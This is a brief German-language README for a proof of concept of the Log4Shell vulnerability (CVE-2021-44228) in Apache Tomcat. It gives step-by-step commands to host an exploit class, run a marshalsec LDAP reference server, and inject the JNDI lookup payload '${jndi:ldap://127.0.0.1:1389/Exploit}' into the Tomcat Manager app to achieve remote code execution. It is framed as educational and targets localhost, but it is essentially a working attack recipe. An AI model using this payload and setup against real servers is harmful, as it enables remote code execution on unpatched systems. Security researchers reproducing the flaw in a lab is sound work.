
Log4j2 CVE-2021-44228 Schwachstellen-PoC in Apache Tomcat

git clone
cd apache-tomcat-10.0.14/bin
startup.bat
cd exploit
py -m http.server 8888
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Geben Sie ${jndi:ldap://127.0.0.1:1389/Exploit} in das Feld 'XML Configuration file path' in der Manager-App unter http://localhost:8080/manager/html ein.
Die Exploit-Klasse wird geladen und RCE wird geladen (die Rechner-App wird geöffnet).
Das Repo ist lediglich ein POC zu Bildungszwecken. Der Inhaber des Repos ist nicht für entstandene Schäden verantwortlich. Als moralische Anmerkung: Tu nichts Böses.
LDAP-Exploit https://github.com/mbechler/marshalsec